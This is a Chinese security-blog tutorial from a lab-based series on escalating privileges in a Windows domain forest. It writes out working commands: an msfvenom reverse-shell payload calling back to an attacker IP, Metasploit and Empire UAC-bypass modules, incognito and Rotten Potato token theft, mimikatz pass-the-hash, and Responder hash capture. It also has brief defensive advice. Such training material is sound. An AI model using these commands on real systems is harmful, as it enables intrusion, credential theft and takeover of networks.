freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中权限提升(下)
2021-04-08 13:46:21

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,今天我们就来对子域控制器进行提权,总结实战中会遇到的权限提升的各种方法,利用这些方法在内网中遨游!

不会权限提升技术,就无法对内网机器进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
1617960512_60701e40f36e3ecf0fe90.png!small?1617960514042

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

接下来将演示分析内网中的权限提升各种方法,利用该方法在域森林中旅行!

三、绕过UAC

如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。

1、bypassuac提权

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

接下来演示将简要介绍一下用户帐户控制,即UAC,以及Windows权限升级绕过UAC保护如何实现的!

接下来将详细演示各种UAC绕过方法!!

1)kali生成恶意exe
1617960536_60701e588d315ecf480dc.png!small?1617960537440

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.253.67 lport=4444 -f exe > 3.exe

2)kali开启msf监听
1617960541_60701e5db92ea04c73f37.png!small?1617960544048

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.67
exploit -j

3)getsystem提权
1617960546_60701e62cb1c7915c4da8.png!small?1617960564705

getsystem

交互上线后,尝试用getsystem进行提权,不过大多数情况下直接用getsystem提权是会失败的!偶尔会成功!!

4)寻找bypassuac

1617960552_60701e684a7d051a75052.png!small?1617960580696

search bypassuac

存在12种提权bypassuac,最后两个是针对win10的,其他的并没有做特殊的说明,实战时候建议进行选择测试!

5)bypassuac提权

此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell:

1617960557_60701e6d2871a9c14a144.png!small?1617960580696

use 0
set session 1
run

我这里利用了第一个exploit/windows/local/bypassuac模块进行UAC绕过提权,经过尝试了两次,还有第二个也可以成功绕过UAC提权!

2、service_permissions提权

在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作。

service_permissions模块使用两种方法来获得System权限:如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

1617960563_60701e73899a1a66cd6f2.png!small?1617960583738

use exploit/windows/local/service_permissions
set session 1

该exp会读取C:\Windows\System32\目录下的所有可利用服务,如存在可提升的会立马直接提升为system权限的新session会话shell!

具体环境具体利用bypassuac模块和服务模块进行提权!

3、RunAs提权

使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell!!

1617960567_60701e77897ceb86b7ad4.png!small?1617960583738

use exploit/windows/local/ask 
set SESSION x
run   

可以看到对方电脑会弹出一个执行文件确认框!

1617960571_60701e7be4ea53e41038c.png!small?1617960583738

getuid
getsystem

选择点击"是",然后成功上线,并getsystem绕过UAC获得system权限!!

要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)!!

4、Empire-bypassuac提权

Empire一款只针对win系统的后渗透神器,该工具是基于Poweshell脚本的攻击框架,主要实现对内网、对域的攻击,提权横向移动等等!!

1)开启监听
1617960578_60701e8214e8218785471.png!small?1617960607729

listeners
uselistener http
#使用http监听
set Name dayu
#重命名为dayu
set Host http://192.168.253.9:7000
set Port 7000
execute
#开始监听

成功开启http监听!

2)生成payload
1617960645_60701ec5db76268ce8904.png!small?1617960662469

listeners
launcher powershell [监听器Name]
launcher powershell dayu

3)成功上线普通域用户
1617960587_60701e8b7b2939bc01757.png!small?1617960607727
1617960591_60701e8f34bf3c92dbaeb.png!small?1617960607728

将powershell-payload丢入对方主机,agents查看成功上线,并且是普通用户权限!

4)绕过UAC
1617960595_60701e93e3838e9e6d5d3.png!small?1617960607729

usemodule privesc/bypassuac
set Listener dayu
execute -y

可看到经过Empire-bypassuac的模块,成功绕过UAC获得system权限!!成功率非常的高!!

5、绕过UAC防御措施

在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。

另外,可以使用微软的EMET或MalwareBytes来更好地防范0day漏洞。

四、令牌窃取

令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。

令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。

伪造令牌攻击的核心是Kerheros协议,Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示:

1617960602_60701e9a2f1f869a06def.png!small?1617960607729

客户端请求证书的过程如下:

1. 客户端向认证服务器发送请求,要求得到证书。
2. 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
3. 客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。

客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。

1、MSF令牌窃取

目前还是使用UAC之前获得的session会话来演示!!

1)查找存在的访问令牌

1617960708_60701f04b39dc624711ab.png!small?1617960710828

use incognito 
# 加载incognito模块
list_tokens -u
# 列出访问令牌

这里有两种类型的令牌:

1. Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);
2. Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。

2)伪造令牌
1617960715_60701f0bd9431a754484a.png!small?1617960717280

impersonate_token "NT AUTHORITY\SYSTEM"

成功获取system权限令牌!

steal_token <pid>

3)进程PID窃取令牌

还可以利用以上命令从相应的进程中窃取令牌,进程查看直接在shell中输入"ps"即可查看!
1617960722_60701f128aa25f3ca7789.png!small?1617960727506
1617960726_60701f16da47b586d4afb.png!small?1617960727506

steal_token 1460
# 从进程窃取token
rev2self
# 返回到之前的AccessToken权限中

成功窃取相对应PID进程的令牌获得对应的权限!

2、Rotten potato

如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌

下载地址:

https://github.com/foxglovesec/RottenPotato

1)上传文件
1617960733_60701f1de066a1f5a41b3.png!small?1617960734765

upload rottenpotato.exe

将文件放置攻击设备目录下,成功上传!

2)执行
1617960738_60701f22662236e24dd52.png!small?1617960740284

execute -HC -f ./rottenpotato.exe
# 执行rottenpotato.exe程序
impersonate_token "NT AUTHORITY\\SYSTEM"

正常情况下,红框会出现NT AUTHORITY\SYSTEM权限令牌,直接窃取即可!这里未出现是因为无法适用!

3、incognito2窃取

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

1)上传文件
1617960745_60701f29de8f655ec04af.png!small?1617960746679

upload incognito.exe

2)执行
1617960752_60701f3044440559f4268.png!small?1617960755690

incognito.exe list_tokens -u

运行需要到本地目录桌面执行!!获得权限令牌!!

3)模拟SYSTEM权限用户执行shell

  1. 上传恶意程序
    1617960773_60701f4554ce7bb18388e.png!small?1617960773895
    上传恶意木马,并打开另外的MSFconsole监听窗口!

  2. incognito执行shell
    1617960777_60701f49309878a88bf4a.png!small?1617960778698

incognito.exe execute -c "NT AUTHORITY\SYSTEM" dayuig.exe

成功执行后,回到新开的MSF监听窗口查看!

  1. 成功交互

1617960782_60701f4ec70000c88bbcc.png!small?1617960787956

可看到成功通过incognito窃取令牌system权限运行了刚上传的恶意文件,后成功system运行了恶意程序,并反弹上线到了监听窗口,正常以system权限进行交互!

4、Empire令牌窃取

通过UAC哪里建立的Empire监听演示!!

1)mimikatz获取hash
1617960792_60701f58a0ca14abbbaf4.png!small?1617960797717

mimikatz

可看到直接在Empire执行mimikatz会调用powershell/credentials/mimikatz/logonpasswords模块进行获取hash信息!通过查看获取到了对方password明文信息!

2)PTH获取权限
1617960798_60701f5e639b3fce7f938.png!small?1617960803646

pth 2

直接pth成功横向!!

5、令牌窃取防御措施

  1. 及时安装微软推送的补丁。

  2. 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。

  3. 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。

  4. 对于令牌,应采取加密存储及多重验证保护。

  5. 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。

五、无凭证权限获取

已经进入普通域用户的子域权限范围内,但没有获得任何凭证,使用LLMNR和NetBIOS欺骗攻击对目标网络进行渗透测试。

1、LLMNR

本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。

LLMNR的工作流程如下:

1. DNS客户端在自己的内部名称缓存中查询名称。
2. 如果没有找到,主机将向主DNS发送名称查询请求。
3. 如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
4. 如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
5. 主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
6. 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息。

2、NetBIOS

NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT以后版本的所有操作系统中均可使用NetBIOS。但是NetBIOS不支持IPv6。

NetBIOS提供的三种服务如下:

1. NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。
2. Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。
3. Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用TCP 139端口。

3、responder欺骗攻击

将进行LLMNR和 NetBIOS 欺骗攻击思路演示!!

responder 这个工具首先是一个LLMNR和NBT-NS响应者,它将根据它们的名字后缀来回答特定的NBT-NS(NetBIOS名称服务)查询 。默认情况下,该工具只会回答针对SMB的文件服务器服务请求。这背后的概念是针对我们的答案,并在网络上隐身。这也有助于确保我们不会破坏合法的NBT-NS行为。如果您希望此工具回答工作站服务请求名称后缀,可以通过命令行将-r选项设置为1,kali自带该工具!!

下载地址:

git clone https://github.com/SpiderLabs/Responder.git

1)kali执行

1617960814_60701f6e956803d48af6c.png!small?1617960817320

responder -I eth0 -w -r -f

嗅探eth0网卡段内的数据信息!

2)普通域用户执行共享

1617960820_60701f74e0c422c64c236.png!small?1617960830808
在渗透测试中,使用Responder开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,并且尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash!

3)Net-NTLM Hash

Net-NTLM Hash与 NTLM Hash不同:

NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。

Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。

六、总结

经过绕过UAC -> 令牌窃取 -> 无凭证横向移动三大类各种方法思路合集,从直接提权到窃取令牌到没有任何提权的办法情况下,进行嗅探获取hash横向移动!层级的思维提权渗透,给小伙伴们建立了在提权模块中的多级思路!

如果不会这几种方法进行权限提升,就很难在内网中旅行,无法见到更多的风景,学习今天的方法,利用对应的服务表等模块信息进行内核提权,就可以在该公司域森林中遨游了!

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 ->......

接下来在《域森林中权限提升(下)》中会接触各种UAC、令牌窃取、无凭证等权限提升的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林下权限提升篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透 # 域森林
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录